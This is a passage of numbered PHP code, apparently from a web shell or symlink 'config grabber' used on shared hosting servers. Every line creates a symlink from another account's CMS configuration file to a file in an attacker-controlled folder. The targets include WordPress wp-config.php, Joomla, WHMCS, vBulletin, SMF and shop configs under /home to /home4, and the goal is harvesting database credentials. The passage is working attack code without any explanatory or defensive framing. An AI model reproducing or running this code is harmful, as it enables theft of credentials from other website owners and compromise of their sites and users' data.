  1607. symlink('/home/'.$user.'/public_html/host/configuration.php',$kola.' ~~ host - Whm17');
  1608. symlink('/home/'.$user.'/public_html/hosting/configuration.php',$kola.' ~~ hosting - Whm18');
  1609. symlink('/home/'.$user.'/public_html/hosts/configuration.php',$kola.' ~~ hosts - Whm19');
  1610. symlink('/home/'.$user.'/public_html/v1/configuration.php',$kola.' ~~ v1 - Whm20');
  1611. symlink('/home/'.$user.'/public_html/v2/configuration.php',$kola.' ~~ v2 - Whm21');
  1612. symlink('/home/'.$user.'/public_html/baru/configuration.php',$kola.' ~~ v2 - Whm22');
  1613. symlink('/home/'.$user.'/public_html/wp-config.php',$kola.' ~~ Wordpress.txt') ;
  1614. symlink('/home/'.$user.'/public_html/blog/wp-config.php',$kola.' ~~ Wordpress.txt') ;
  1615. symlink('/home/'.$user.'/public_html/Connections/cms_blog.php',$kola.' ~~ admin - cms_blog.txt') ;
  1616. symlink('/home/'.$user.'/public_html/web/wp-config.php',$kola.' ~~ web - Wordpress .txt') ;
  1617. symlink('/home/'.$user.'/public_html/welcome/wp-config.php',$kola.' ~~ welcome - Wordpress .txt') ;
  1618. symlink('/home/'.$user.'/public_html/store/wp-config.php',$kola.' ~~ store - Wordpress .txt') ;
  1619. symlink('/home/'.$user.'/public_html/wp/wp-config.php',$kola.' ~~ wp - Wordpress.txt');
  1620. symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$kola.' ~~ wp - beta - Wordpress.txt');
  1621. symlink('/home/'.$user.'/public_html/beta/wp-config.php',$kola.' ~~ beta - Wordpress.txt');
  1622. symlink('/home/'.$user.'/public_html/press/wp-config.php',$kola.' ~~ press - Wp13.txt');
  1623. symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$kola.' ~~ wordpress - Wordpress.txt');
  1624. symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.' ~~ wordpress - beta - Wordpress.txt');
  1625. symlink('/home/'.$user.'/public_html/news/wp-config.php',$kola.' ~~ news - Wordpress.txt');
  1626. symlink('/home/'.$user.'/public_html/new/wp-config.php',$kola.' ~~ new - Wordpress.txt');
  1627. symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$kola.' ~~ blog - Wordpress.txt');
  1628. symlink('/home/'.$user.'/public_html/home/wp-config.php',$kola.' ~~ home - Wordpress.txt');
  1629. symlink('/home/'.$user.'/public_html/portal/wp-config.php',$kola.' ~~ portal - Wordpres.txt');
  1630. symlink('/home/'.$user.'/public_html/site/wp-config.php',$kola.' ~~ site - Wordpress.txt');
  1631. symlink('/home/'.$user.'/public_html/main/wp-config.php',$kola.' ~~ main - Wordpress.txt');
  1632. symlink('/home/'.$user.'/public_html/test/wp-config.php',$kola.' ~~ test - Wordpress.txt');
  1633. symlink('/home/'.$user.'/public_html/SSI.php',$kola.' ~~ C M F .txt') ;
  1634. symlink('/home/'.$user.'/public_html/forum/SSI.php',$kola.' ~~ forum - C M F .txt') ;
  1635. symlink('/home/'.$user.'/public_html/system/sistem.php',$kola.' ~~ Lokomedia.txt');
  1636. symlink('/home/'.$user.'/public_html/mk_conf.php',$kola.' ~~ mk-portale1.txt');
  1637. symlink('/home/'.$user.'/public_html/includes/functions.php',$kola.' ~~ hpbb3.txt');
  1638. symlink('/home/'.$user.'/public_html/include/db.php',$kola.' ~~ infinity.txt');
  1639. symlink('/home/'.$user.'/public_html/conf_global.php',$kola.' ~~ invisio.txt');
  1640. symlink('/home/'.$user.'/public_html/admin/config.php',$kola.' ~~ admin - OpenCart-4.txt') ;
  1641. symlink('/home2/'.$user.'/public_html/beta/configuration.php',$kola.' ~~ beta - Joomla.txt') ;
  1642. symlink('/home2/'.$user.'/public_html/configuration.php',$kola.' ~~ joomla.txt') ;
  1643. symlink('/home2/'.$user.'/public_html/includes/config.php',$kola.' ~~ vBulletin-2.txt') ;
  1644. symlink('/home2/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt') ;
  1645. symlink('/home2/'.$user.'/public_html/store/configuration.php',$kola.' ~~ store - Joomla.txt') ;
  1646. symlink('/home2/'.$user.'/public_html/joomla/configuration.php',$kola.' ~~ joomla - Joomla.txt');
  1647. symlink('/home2/'.$user.'/public_html/portal/configuration.php',$kola.' ~~ portal - Joomla.txt');
  1648. symlink('/home2/'.$user.'/public_html/joom/configuration.php',$kola.' ~~ joom - Joomla.txt');
  1649. symlink('/home2/'.$user.'/public_html/joo/configuration.php',$kola.' ~~ jom - Joomla.txt');
  1650. symlink('/home2/'.$user.'/public_html/cms/configuration.php',$kola.' ~~ cms - Joomla.txt');
  1651. symlink('/home2/'.$user.'/public_html/site/configuration.php',$kola.' ~~ site - Joomla.txt');
  1652. symlink('/home2/'.$user.'/public_html/main/configuration.php',$kola.' ~~ main - Joomla.txt');
  1653. symlink('/home2/'.$user.'/public_html/news/configuration.php',$kola.' ~~ news - Joomla.txt');
  1654. symlink('/home2/'.$user.'/public_html/new/configuration.php',$kola.' ~~ new - Joomla.txt');
  1655. symlink('/home2/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt');
  1656. symlink('/home2/'.$user.'/public_html/test/configuration.php',$kola.' ~~ test - Joomla.txt');
  1657. symlink('/home2/'.$user.'/public_html/myshop/configuration.php',$kola.' ~~ myshop - Joomla.txt');
  1658. symlink('/home2/'.$user.'/public_html/Settings.php',$kola.' ~~ Smf.txt');
  1659. symlink('/home2/'.$user.'/public_html/smf/Settings.php',$kola.' ~~ smf - Smf.txt');
  1660. symlink('/home2/'.$user.'/public_html/forum/Settings.php',$kola.' ~~ forum - Smf.txt');
  1661. symlink('/home2/'.$user.'/public_html/forums/Settings.php',$kola.' ~~ forums - Smf.txt');
  1662. symlink('/home2/'.$user.'/public_html/sites/default/settings.php',$kola.' ~~ sites - default - configuration 3.txt');
  1663. symlink('/home2/'.$user.'/public_html/includes/dist-configure.php',$kola.' ~~ Zencart.txt');
  1664. symlink('/home2/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.' ~~ zencart - zencart.txt');
  1665. symlink('/home2/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.' ~~ shop - zencart.txt');
  1666. symlink('/home2/'.$user.'/public_html/includes/configure.php',$kola.' ~~ Oscommerce.txt');
  1667. symlink('/home2/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.' ~~ oscommerce - Oscommerce.txt');
  1668. symlink('/home2/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.' ~~ oscommerces -Oscommerces.txt');
  1669. symlink('/home2/'.$user.'/public_html/shopping/includes/configure.php',$kola.' ~~ shopping - Shopping.txt');
  1670. symlink('/home2/'.$user.'/public_html/sale/includes/configure.php',$kola.' ~~ sale - Oscommerce.txt');
  1671. symlink('/home2/'.$user.'/public_html/store/includes/configure.php',$kola.' ~~ store - Oscommerce.txt');
  1672. symlink('/home2/'.$user.'/public_html/inc/config.php',$kola.' ~~ MyBB.txt') ;
  1673. symlink('/home2/'.$user.'/public_html/forum/inc/config.php',$kola.' ~~ forum - MyBB .txt') ;
  1674. symlink('/home2/'.$user.'/public_html/lib/config.php',$kola.' ~~ Balitbang.txt') ;
  1675. symlink('/home2/'.$user.'/public_html/cc/includes/config.php',$kola.' ~~ VBulletin4.txt');
  1676. symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$kola.' ~~ forum - vBulletin.txt');
  1677. symlink('/home2/'.$user.'/public_html/forum/config.php',$kola.' ~~ forum - PhpBB.txt') ;
  1678. symlink('/home2/'.$user.'/public_html/amember/config.inc.php',$kola.' ~~ Amember.txt');
  1679. symlink('/home2/'.$user.'/public_html/config.inc.php',$kola.' ~~ Amember2.txt');
  1680. symlink('/home2/'.$user.'/public_html/vb/includes/config.php',$kola.' ~~ Vb.txt');
  1681. symlink('/home2/'.$user.'/public_html/vb3/includes/config.php',$kola.' ~~ Vb3.txt');
  1682. symlink('/home2/'.$user.'/public_html/upload/includes/config.php',$kola.' ~~ Upload.txt');
  1683. symlink('/home2/'.$user.'/public_html/incl/config.php',$kola.' ~~ Malay.txt');
  1684. symlink('/home2/'.$user.'/public_html/config/koneksi.php',$kola.' ~~ Lokomedia.txt');
  1685. symlink('/home2/'.$user.'/public_html/config/config.php',$kola.' ~~ config.txt');
  1686. symlink('/home2/'.$user.'/public_html/datas/config.php',$kola.' ~~ datas - configuration 3.txt');
  1687. symlink('/home2/'.$user.'/public_html/forum/conf/config.php',$kola.' ~~ forum - Other-1.txt') ;
  1688. symlink('/home2/'.$user.'/public_html/include/config.php',$kola.' ~~ Other-2.txt');
  1689. symlink('/home2/'.$user.'/public_html/config.php',$kola.' ~~ Other-3.txt') ;
  1690. symlink('/home2/'.$user.'/public_html/admin/conf.php',$kola.' ~~ admin - Other-4.txt');
  1691. symlink('/home2/'.$user.'/public_html/connect.php',$kola.' ~~ Other-5.txt');
  1692. symlink('/home2/'.$user.'/public_html/codelibrary/inc/variables.php',$kola.' ~~ Other-6.txt') ;
  1693. symlink('/home2/'.$user.'/public_html/client/configuration.php',$kola.' ~~ client - admin Whm1.txt') ;
  1694. symlink('/home2/'.$user.'/public_html/clients/configuration.php',$kola.' ~~ clients - Whm2.txt') ;
  1695. symlink('/home2/'.$user.'/public_html/billing/configuration.php',$kola.' ~~ billing - Whm3.txt') ;
  1696. symlink('/home2/'.$user.'/public_html/billings/configuration.php',$kola.' ~~ Whm4.txt') ;
  1697. symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$kola.' ~~ whmcs - Whm5.txt') ;
  1698. symlink('/home2/'.$user.'/public_html/whm/configuration.php',$kola.' ~~ whm - Whm6.txt');
  1699. symlink('/home2/'.$user.'/public_html/order/configuration.php',$kola.' ~~ order - Whm7.txt');
  1700. symlink('/home2/'.$user.'/public_html/whmc/configuration.php',$kola.' ~~ whmc - Whm8.txt');
  1701. symlink('/home2/'.$user.'/public_html/submitticket.php',$kola.' ~~ whm9.txt');
  1702. symlink('/home2/'.$user.'/public_html/manage/configuration.php',$kola.' ~~ manage -Whm10.txt');
  1703. symlink('/home2/'.$user.'/public_html/clientes/configuration.php',$kola.' ~~ clientes - Whm11.txt');
  1704. symlink('/home2/'.$user.'/public_html/cliente/configuration.php',$kola.' ~~ cliente - Whm12txt');
  1705. symlink('/home2/'.$user.'/public_html/clientsupport/configuration.php',$kola.' ~~ clientsupport - Whm13.txt');
  1706. symlink('/home2/'.$user.'/public_html/support/configuration.php',$kola.' ~~ support - Whm13.txt');
  1707. symlink('/home2/'.$user.'/public_html/supports/configuration.php',$kola.' ~~ supports - Whm14.txt');
  1708. symlink('/home2/'.$user.'/public_html/cpanel/configuration.php',$kola.' ~~ cpanel - Whm15');
  1709. symlink('/home2/'.$user.'/public_html/panel/configuration.php',$kola.' ~~ panel - Whm16');
  1710. symlink('/home2/'.$user.'/public_html/host/configuration.php',$kola.' ~~ host - Whm17');
  1711. symlink('/home2/'.$user.'/public_html/hosting/configuration.php',$kola.' ~~ hosting - Whm18');
  1712. symlink('/home2/'.$user.'/public_html/hosts/configuration.php',$kola.' ~~ hosts - Whm19');
  1713. symlink('/home2/'.$user.'/public_html/v1/configuration.php',$kola.' ~~ v1 - Whm20');
  1714. symlink('/home2/'.$user.'/public_html/v2/configuration.php',$kola.' ~~ v2 - Whm21');
  1715. symlink('/home2/'.$user.'/public_html/baru/configuration.php',$kola.' ~~ v2 - Whm22');
  1716. symlink('/home2/'.$user.'/public_html/wp-config.php',$kola.' ~~ Wordpress.txt') ;
  1717. symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$kola.' ~~ Wordpress.txt') ;
  1718. symlink('/home2/'.$user.'/public_html/Connections/cms_blog.php',$kola.' ~~ admin - cms_blog.txt') ;
  1719. symlink('/home2/'.$user.'/public_html/web/wp-config.php',$kola.' ~~ web - Wordpress .txt') ;
  1720. symlink('/home2/'.$user.'/public_html/welcome/wp-config.php',$kola.' ~~ welcome - Wordpress .txt') ;
  1721. symlink('/home2/'.$user.'/public_html/store/wp-config.php',$kola.' ~~ store - Wordpress .txt') ;
  1722. symlink('/home2/'.$user.'/public_html/wp/wp-config.php',$kola.' ~~ wp - Wordpress.txt');
  1723. symlink('/home2/'.$user.'/public_html/wp/beta/wp-config.php',$kola.' ~~ wp - beta - Wordpress.txt');
  1724. symlink('/home2/'.$user.'/public_html/beta/wp-config.php',$kola.' ~~ beta - Wordpress.txt');
  1725. symlink('/home2/'.$user.'/public_html/press/wp-config.php',$kola.' ~~ press - Wp13.txt');
  1726. symlink('/home2/'.$user.'/public_html/wordpress/wp-config.php',$kola.' ~~ wordpress - Wordpress.txt');
  1727. symlink('/home2/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.' ~~ wordpress - beta - Wordpress.txt');
  1728. symlink('/home2/'.$user.'/public_html/news/wp-config.php',$kola.' ~~ news - Wordpress.txt');
  1729. symlink('/home2/'.$user.'/public_html/new/wp-config.php',$kola.' ~~ new - Wordpress.txt');
  1730. symlink('/home2/'.$user.'/public_html/blogs/wp-config.php',$kola.' ~~ blog - Wordpress.txt');
  1731. symlink('/home2/'.$user.'/public_html/home/wp-config.php',$kola.' ~~ home - Wordpress.txt');
  1732. symlink('/home2/'.$user.'/public_html/portal/wp-config.php',$kola.' ~~ portal - Wordpres.txt');
  1733. symlink('/home2/'.$user.'/public_html/site/wp-config.php',$kola.' ~~ site - Wordpress.txt');
  1734. symlink('/home2/'.$user.'/public_html/main/wp-config.php',$kola.' ~~ main - Wordpress.txt');
  1735. symlink('/home2/'.$user.'/public_html/test/wp-config.php',$kola.' ~~ test - Wordpress.txt');
  1736. symlink('/home2/'.$user.'/public_html/SSI.php',$kola.' ~~ C M F .txt') ;
  1737. symlink('/home2/'.$user.'/public_html/forum/SSI.php',$kola.' ~~ forum - C M F .txt') ;
  1738. symlink('/home2/'.$user.'/public_html/system/sistem.php',$kola.' ~~ Lokomedia.txt');
  1739. symlink('/home2/'.$user.'/public_html/mk_conf.php',$kola.' ~~ mk-portale1.txt');
  1740. symlink('/home2/'.$user.'/public_html/includes/functions.php',$kola.' ~~ hpbb3.txt');
  1741. symlink('/home2/'.$user.'/public_html/include/db.php',$kola.' ~~ infinity.txt');
  1742. symlink('/home2/'.$user.'/public_html/conf_global.php',$kola.' ~~ invisio.txt');
  1743. symlink('/home2/'.$user.'/public_html/admin/config.php',$kola.' ~~ admin - OpenCart-4.txt') ;
  1744. symlink('/home3/'.$user.'/public_html/beta/configuration.php',$kola.' ~~ beta - Joomla.txt') ;
  1745. symlink('/home3/'.$user.'/public_html/configuration.php',$kola.' ~~ joomla.txt') ;
  1746. symlink('/home3/'.$user.'/public_html/includes/config.php',$kola.' ~~ vBulletin-2.txt') ;
  1747. symlink('/home3/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt') ;
  1748. symlink('/home3/'.$user.'/public_html/store/configuration.php',$kola.' ~~ store - Joomla.txt') ;
  1749. symlink('/home3/'.$user.'/public_html/joomla/configuration.php',$kola.' ~~ joomla - Joomla.txt');
  1750. symlink('/home3/'.$user.'/public_html/portal/configuration.php',$kola.' ~~ portal - Joomla.txt');
  1751. symlink('/home3/'.$user.'/public_html/joom/configuration.php',$kola.' ~~ joom - Joomla.txt');
  1752. symlink('/home3/'.$user.'/public_html/joo/configuration.php',$kola.' ~~ jom - Joomla.txt');
  1753. symlink('/home3/'.$user.'/public_html/cms/configuration.php',$kola.' ~~ cms - Joomla.txt');
  1754. symlink('/home3/'.$user.'/public_html/site/configuration.php',$kola.' ~~ site - Joomla.txt');
  1755. symlink('/home3/'.$user.'/public_html/main/configuration.php',$kola.' ~~ main - Joomla.txt');
  1756. symlink('/home3/'.$user.'/public_html/news/configuration.php',$kola.' ~~ news - Joomla.txt');
  1757. symlink('/home3/'.$user.'/public_html/new/configuration.php',$kola.' ~~ new - Joomla.txt');
  1758. symlink('/home3/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt');
  1759. symlink('/home3/'.$user.'/public_html/test/configuration.php',$kola.' ~~ test - Joomla.txt');
  1760. symlink('/home3/'.$user.'/public_html/myshop/configuration.php',$kola.' ~~ myshop - Joomla.txt');
  1761. symlink('/home3/'.$user.'/public_html/Settings.php',$kola.' ~~ Smf.txt');
  1762. symlink('/home3/'.$user.'/public_html/smf/Settings.php',$kola.' ~~ smf - Smf.txt');
  1763. symlink('/home3/'.$user.'/public_html/forum/Settings.php',$kola.' ~~ forum - Smf.txt');
  1764. symlink('/home3/'.$user.'/public_html/forums/Settings.php',$kola.' ~~ forums - Smf.txt');
  1765. symlink('/home3/'.$user.'/public_html/sites/default/settings.php',$kola.' ~~ sites - default - configuration 3.txt');
  1766. symlink('/home3/'.$user.'/public_html/includes/dist-configure.php',$kola.' ~~ Zencart.txt');
  1767. symlink('/home3/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.' ~~ zencart - zencart.txt');
  1768. symlink('/home3/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.' ~~ shop - zencart.txt');
  1769. symlink('/home3/'.$user.'/public_html/includes/configure.php',$kola.' ~~ Oscommerce.txt');
  1770. symlink('/home3/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.' ~~ oscommerce - Oscommerce.txt');
  1771. symlink('/home3/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.' ~~ oscommerces -Oscommerces.txt');
  1772. symlink('/home3/'.$user.'/public_html/shopping/includes/configure.php',$kola.' ~~ shopping - Shopping.txt');
  1773. symlink('/home3/'.$user.'/public_html/sale/includes/configure.php',$kola.' ~~ sale - Oscommerce.txt');
  1774. symlink('/home3/'.$user.'/public_html/store/includes/configure.php',$kola.' ~~ store - Oscommerce.txt');
  1775. symlink('/home3/'.$user.'/public_html/inc/config.php',$kola.' ~~ MyBB.txt') ;
  1776. symlink('/home3/'.$user.'/public_html/forum/inc/config.php',$kola.' ~~ forum - MyBB .txt') ;
  1777. symlink('/home3/'.$user.'/public_html/lib/config.php',$kola.' ~~ Balitbang.txt') ;
  1778. symlink('/home3/'.$user.'/public_html/cc/includes/config.php',$kola.' ~~ VBulletin4.txt');
  1779. symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$kola.' ~~ forum - vBulletin.txt');
  1780. symlink('/home3/'.$user.'/public_html/forum/config.php',$kola.' ~~ forum - PhpBB.txt') ;
  1781. symlink('/home3/'.$user.'/public_html/amember/config.inc.php',$kola.' ~~ Amember.txt');
  1782. symlink('/home3/'.$user.'/public_html/config.inc.php',$kola.' ~~ Amember2.txt');
  1783. symlink('/home3/'.$user.'/public_html/vb/includes/config.php',$kola.' ~~ Vb.txt');
  1784. symlink('/home3/'.$user.'/public_html/vb3/includes/config.php',$kola.' ~~ Vb3.txt');
  1785. symlink('/home3/'.$user.'/public_html/upload/includes/config.php',$kola.' ~~ Upload.txt');
  1786. symlink('/home3/'.$user.'/public_html/incl/config.php',$kola.' ~~ Malay.txt');
  1787. symlink('/home3/'.$user.'/public_html/config/koneksi.php',$kola.' ~~ Lokomedia.txt');
  1788. symlink('/home3/'.$user.'/public_html/config/config.php',$kola.' ~~ config.txt');
  1789. symlink('/home3/'.$user.'/public_html/datas/config.php',$kola.' ~~ datas - configuration 3.txt');
  1790. symlink('/home3/'.$user.'/public_html/forum/conf/config.php',$kola.' ~~ forum - Other-1.txt') ;
  1791. symlink('/home3/'.$user.'/public_html/include/config.php',$kola.' ~~ Other-2.txt');
  1792. symlink('/home3/'.$user.'/public_html/config.php',$kola.' ~~ Other-3.txt') ;
  1793. symlink('/home3/'.$user.'/public_html/admin/conf.php',$kola.' ~~ admin - Other-4.txt');
  1794. symlink('/home3/'.$user.'/public_html/connect.php',$kola.' ~~ Other-5.txt');
  1795. symlink('/home3/'.$user.'/public_html/codelibrary/inc/variables.php',$kola.' ~~ Other-6.txt') ;
  1796. symlink('/home3/'.$user.'/public_html/client/configuration.php',$kola.' ~~ client - admin Whm1.txt') ;
  1797. symlink('/home3/'.$user.'/public_html/clients/configuration.php',$kola.' ~~ clients - Whm2.txt') ;
  1798. symlink('/home3/'.$user.'/public_html/billing/configuration.php',$kola.' ~~ billing - Whm3.txt') ;
  1799. symlink('/home3/'.$user.'/public_html/billings/configuration.php',$kola.' ~~ Whm4.txt') ;
  1800. symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$kola.' ~~ whmcs - Whm5.txt') ;
  1801. symlink('/home3/'.$user.'/public_html/whm/configuration.php',$kola.' ~~ whm - Whm6.txt');
  1802. symlink('/home3/'.$user.'/public_html/order/configuration.php',$kola.' ~~ order - Whm7.txt');
  1803. symlink('/home3/'.$user.'/public_html/whmc/configuration.php',$kola.' ~~ whmc - Whm8.txt');
  1804. symlink('/home3/'.$user.'/public_html/submitticket.php',$kola.' ~~ whm9.txt');
  1805. symlink('/home3/'.$user.'/public_html/manage/configuration.php',$kola.' ~~ manage -Whm10.txt');
  1806. symlink('/home3/'.$user.'/public_html/clientes/configuration.php',$kola.' ~~ clientes - Whm11.txt');
  1807. symlink('/home3/'.$user.'/public_html/cliente/configuration.php',$kola.' ~~ cliente - Whm12txt');
  1808. symlink('/home3/'.$user.'/public_html/clientsupport/configuration.php',$kola.' ~~ clientsupport - Whm13.txt');
  1809. symlink('/home3/'.$user.'/public_html/support/configuration.php',$kola.' ~~ support - Whm13.txt');
  1810. symlink('/home3/'.$user.'/public_html/supports/configuration.php',$kola.' ~~ supports - Whm14.txt');
  1811. symlink('/home3/'.$user.'/public_html/cpanel/configuration.php',$kola.' ~~ cpanel - Whm15');
  1812. symlink('/home3/'.$user.'/public_html/panel/configuration.php',$kola.' ~~ panel - Whm16');
  1813. symlink('/home3/'.$user.'/public_html/host/configuration.php',$kola.' ~~ host - Whm17');
  1814. symlink('/home3/'.$user.'/public_html/hosting/configuration.php',$kola.' ~~ hosting - Whm18');
  1815. symlink('/home3/'.$user.'/public_html/hosts/configuration.php',$kola.' ~~ hosts - Whm19');
  1816. symlink('/home3/'.$user.'/public_html/v1/configuration.php',$kola.' ~~ v1 - Whm20');
  1817. symlink('/home3/'.$user.'/public_html/v2/configuration.php',$kola.' ~~ v2 - Whm21');
  1818. symlink('/home3/'.$user.'/public_html/baru/configuration.php',$kola.' ~~ v2 - Whm22');
  1819. symlink('/home3/'.$user.'/public_html/wp-config.php',$kola.' ~~ Wordpress.txt') ;
  1820. symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$kola.' ~~ Wordpress.txt') ;
  1821. symlink('/home3/'.$user.'/public_html/Connections/cms_blog.php',$kola.' ~~ admin - cms_blog.txt') ;
  1822. symlink('/home3/'.$user.'/public_html/web/wp-config.php',$kola.' ~~ web - Wordpress .txt') ;
  1823. symlink('/home3/'.$user.'/public_html/welcome/wp-config.php',$kola.' ~~ welcome - Wordpress .txt') ;
  1824. symlink('/home3/'.$user.'/public_html/store/wp-config.php',$kola.' ~~ store - Wordpress .txt') ;
  1825. symlink('/home3/'.$user.'/public_html/wp/wp-config.php',$kola.' ~~ wp - Wordpress.txt');
  1826. symlink('/home3/'.$user.'/public_html/wp/beta/wp-config.php',$kola.' ~~ wp - beta - Wordpress.txt');
  1827. symlink('/home3/'.$user.'/public_html/beta/wp-config.php',$kola.' ~~ beta - Wordpress.txt');
  1828. symlink('/home3/'.$user.'/public_html/press/wp-config.php',$kola.' ~~ press - Wp13.txt');
  1829. symlink('/home3/'.$user.'/public_html/wordpress/wp-config.php',$kola.' ~~ wordpress - Wordpress.txt');
  1830. symlink('/home3/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.' ~~ wordpress - beta - Wordpress.txt');
  1831. symlink('/home3/'.$user.'/public_html/news/wp-config.php',$kola.' ~~ news - Wordpress.txt');
  1832. symlink('/home3/'.$user.'/public_html/new/wp-config.php',$kola.' ~~ new - Wordpress.txt');
  1833. symlink('/home3/'.$user.'/public_html/blogs/wp-config.php',$kola.' ~~ blog - Wordpress.txt');
  1834. symlink('/home3/'.$user.'/public_html/home/wp-config.php',$kola.' ~~ home - Wordpress.txt');
  1835. symlink('/home3/'.$user.'/public_html/portal/wp-config.php',$kola.' ~~ portal - Wordpres.txt');
  1836. symlink('/home3/'.$user.'/public_html/site/wp-config.php',$kola.' ~~ site - Wordpress.txt');
  1837. symlink('/home3/'.$user.'/public_html/main/wp-config.php',$kola.' ~~ main - Wordpress.txt');
  1838. symlink('/home3/'.$user.'/public_html/test/wp-config.php',$kola.' ~~ test - Wordpress.txt');
  1839. symlink('/home3/'.$user.'/public_html/SSI.php',$kola.' ~~ C M F .txt') ;
  1840. symlink('/home3/'.$user.'/public_html/forum/SSI.php',$kola.' ~~ forum - C M F .txt') ;
  1841. symlink('/home3/'.$user.'/public_html/system/sistem.php',$kola.' ~~ Lokomedia.txt');
  1842. symlink('/home3/'.$user.'/public_html/mk_conf.php',$kola.' ~~ mk-portale1.txt');
  1843. symlink('/home3/'.$user.'/public_html/includes/functions.php',$kola.' ~~ hpbb3.txt');
  1844. symlink('/home3/'.$user.'/public_html/include/db.php',$kola.' ~~ infinity.txt');
  1845. symlink('/home3/'.$user.'/public_html/conf_global.php',$kola.' ~~ invisio.txt');
  1846. symlink('/home3/'.$user.'/public_html/admin/config.php',$kola.' ~~ admin - OpenCart-4.txt') ;
  1847. symlink('/home4/'.$user.'/public_html/beta/configuration.php',$kola.' ~~ beta - Joomla.txt') ;
  1848. symlink('/home4/'.$user.'/public_html/configuration.php',$kola.' ~~ joomla.txt') ;
  1849. symlink('/home4/'.$user.'/public_html/includes/config.php',$kola.' ~~ vBulletin-2.txt') ;
  1850. symlink('/home4/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt') ;
  1851. symlink('/home4/'.$user.'/public_html/store/configuration.php',$kola.' ~~ store - Joomla.txt') ;
  1852. symlink('/home4/'.$user.'/public_html/joomla/configuration.php',$kola.' ~~ joomla - Joomla.txt');
  1853. symlink('/home4/'.$user.'/public_html/portal/configuration.php',$kola.' ~~ portal - Joomla.txt');
  1854. symlink('/home4/'.$user.'/public_html/joom/configuration.php',$kola.' ~~ joom - Joomla.txt');
  1855. symlink('/home4/'.$user.'/public_html/joo/configuration.php',$kola.' ~~ jom - Joomla.txt');
  1856. symlink('/home4/'.$user.'/public_html/cms/configuration.php',$kola.' ~~ cms - Joomla.txt');
  1857. symlink('/home4/'.$user.'/public_html/site/configuration.php',$kola.' ~~ site - Joomla.txt');
  1858. symlink('/home4/'.$user.'/public_html/main/configuration.php',$kola.' ~~ main - Joomla.txt');
  1859. symlink('/home4/'.$user.'/public_html/news/configuration.php',$kola.' ~~ news - Joomla.txt');
  1860. symlink('/home4/'.$user.'/public_html/new/configuration.php',$kola.' ~~ new - Joomla.txt');
  1861. symlink('/home4/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt');
  1862. symlink('/home4/'.$user.'/public_html/test/configuration.php',$kola.' ~~ test - Joomla.txt');
  1863. symlink('/home4/'.$user.'/public_html/myshop/configuration.php',$kola.' ~~ myshop - Joomla.txt');
  1864. symlink('/home4/'.$user.'/public_html/Settings.php',$kola.' ~~ Smf.txt');
  1865. symlink('/home4/'.$user.'/public_html/smf/Settings.php',$kola.' ~~ smf - Smf.txt');
  1866. symlink('/home4/'.$user.'/public_html/forum/Settings.php',$kola.' ~~ forum - Smf.txt');
  1867. symlink('/home4/'.$user.'/public_html/forums/Settings.php',$kola.' ~~ forums - Smf.txt');
  1868. symlink('/home4/'.$user.'/public_html/sites/default/settings.php',$kola.' ~~ sites - default - configuration 3.txt');
  1869. symlink('/home4/'.$user.'/public_html/includes/dist-configure.php',$kola.' ~~ Zencart.txt');
  1870. symlink('/home4/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.' ~~ zencart - zencart.txt');
  1871. symlink('/home4/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.' ~~ shop - zencart.txt');
  1872. symlink('/home4/'.$user.'/public_html/includes/configure.php',$kola.' ~~ Oscommerce.txt');
  1873. symlink('/home4/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.' ~~ oscommerce - Oscommerce.txt');
  1874. symlink('/home4/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.' ~~ oscommerces -Oscommerces.txt');
  1875. symlink('/home4/'.$user.'/public_html/shopping/includes/configure.php',$kola.' ~~ shopping - Shopping.txt');
  1876. symlink('/home4/'.$user.'/public_html/sale/includes/configure.php',$kola.' ~~ sale - Oscommerce.txt');
  1877. symlink('/home4/'.$user.'/public_html/store/includes/configure.php',$kola.' ~~ store - Oscommerce.txt');
  1878. symlink('/home4/'.$user.'/public_html/inc/config.php',$kola.' ~~ MyBB.txt') ;
  1879. symlink('/home4/'.$user.'/public_html/forum/inc/config.php',$kola.' ~~ forum - MyBB .txt') ;
  1880. symlink('/home4/'.$user.'/public_html/lib/config.php',$kola.' ~~ Balitbang.txt') ;
  1881. symlink('/home4/'.$user.'/public_html/cc/includes/config.php',$kola.' ~~ VBulletin4.txt');
  1882. symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$kola.' ~~ forum - vBulletin.txt');
  1883. symlink('/home4/'.$user.'/public_html/forum/config.php',$kola.' ~~ forum - PhpBB.txt') ;
  1884. symlink('/home4/'.$user.'/public_html/amember/config.inc.php',$kola.' ~~ Amember.txt');
  1885. symlink('/home4/'.$user.'/public_html/config.inc.php',$kola.' ~~ Amember2.txt');
  1886. symlink('/home4/'.$user.'/public_html/vb/includes/config.php',$kola.' ~~ Vb.txt');
  1887. symlink('/home4/'.$user.'/public_html/vb3/includes/config.php',$kola.' ~~ Vb3.txt');
  1888. symlink('/home4/'.$user.'/public_html/upload/includes/config.php',$kola.' ~~ Upload.txt');
  1889. symlink('/home4/'.$user.'/public_html/incl/config.php',$kola.' ~~ Malay.txt');
